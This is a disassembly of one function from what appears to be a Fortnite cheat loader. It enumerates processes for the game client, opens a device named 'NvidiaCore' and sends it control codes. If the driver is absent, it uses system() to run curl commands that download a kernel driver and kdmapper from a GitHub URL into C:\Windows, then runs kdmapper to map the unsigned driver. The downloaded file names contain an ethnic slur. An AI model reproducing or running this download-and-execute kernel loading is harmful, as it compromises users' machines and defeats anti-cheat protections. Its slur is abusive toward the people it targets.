Function at 0x140054d80
Capabilities:
Create thread
Enumerate processes
Execute command
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0xc0]
sub rsp, 0x1c0
mov rax, qword [0x140077100]
xor rax, rsp
mov qword [rbp + 0xb0], rax
xor r14d, r14d
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rdi, rax
call fcn.140048b60
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
lea rsi, [rbp + 0xc8]
movabs rax, 0xff00ff00ff00ff00
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rsi
mov rbx, qword [rsi]
mov rcx, rbx
xor rcx, rax
mov qword [rsp + 0x50], rcx
mov qword [rsi], r14
mov rax, qword [0x140077458]
lea rdx, str.Fortnite
xor ecx, ecx
call rax
nop
mov qword [rsi], rbx
test rax, rax
je 0x140054e7b
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rbx, rax
mov dword [rbp - 0x80], 0x130
lea rdx, [rbp - 0x80]
mov rcx, rax
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x140054e69
lea rdx, str.FortniteClient_Win64_Shipping.exe
lea rcx, [rbp - 0x54]
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
mov rcx, rbx
test eax, eax
je 0x1400550ae
lea rdx, [rbp - 0x80]
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x140054e40
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, r14d
mov dword [0x140077500], eax
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0xc0000000
mov r8d, 3
lea rcx, str..NvidiaCore
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [0x1400774f8], rax
dec rax
mov edx, 5
mov rcx, rdi
cmp rax, 0xfffffffffffffffd
ja 0x1400550d7
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, [0x1400597a0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400035b0
mov edx, 0xf
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, [0x1400597a4]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400035b0
mov edx, 5
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, [0x1400597a8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400035b0
mov edx, 0xf
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str._Press_ENTER_to_start_cheat_initialization.__IN_LOBBY__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400035b0
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 5
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, [0x1400675f8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400035b0
mov edx, 0xf
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, [0x1400597a4]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400035b0
mov edx, 5
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, [0x1400597a8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400035b0
mov edx, 0xf
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str._Starting_cheat_initialization..
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400035b0
lea rdx, [0x140046c00]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rsp + 0x68], r14
mov dword [rsp + 0x50], 0x9ae52c5
mov eax, dword [0x140077500]
mov dword [rsp + 0x54], eax
lea rax, [rsp + 0x68]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
mov r9d, 0x10
lea r8, [rsp + 0x50]
mov edx, 0x1721d9c
mov rcx, qword [0x1400774f8]
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov ecx, 1
call fcn.140057880
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r14d
mov r9, rax
lea r8, [0x140046b60]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x40], rax
test rax, rax
je 0x1400550c7
cmp dword [rsp + 0x48], 0
je 0x1400550bc
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x70]
call sub.MSVCP140.dll__Thrd_detach
test eax, eax
jne 0x1400550bc
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
mov rax, qword [rsp + 0x68]
mov qword [0x1400774e0], rax
call fcn.1400555b0
jmp 0x140054fe1
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rbp - 0x78]
jmp 0x140054e75
mov ecx, 1
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
mov dword [rsp + 0x48], r14d
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, [0x1400597a0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400035b0
mov edx, 0xf
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, [0x1400597a4]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400035b0
mov edx, 5
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, [0x1400597a8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400035b0
mov edx, 0xf
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str._Driver_wasnt_found._Wait.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400035b0
lea rdx, [0x140046c00]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.curl_https:__raw.githubusercontent.com_HAa15_driver_shitty_main_awdweadwa.sys__o_C:Windows_niggearx.sys__s__S
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl_https:__raw.githubusercontent.com_HAa15_driver_shitty_main_kdmapper_Release.exe__o_C:Windows_niggeaxr.exe__s__S
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windows_niggeaxr.exe_C:Windows_niggearx.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3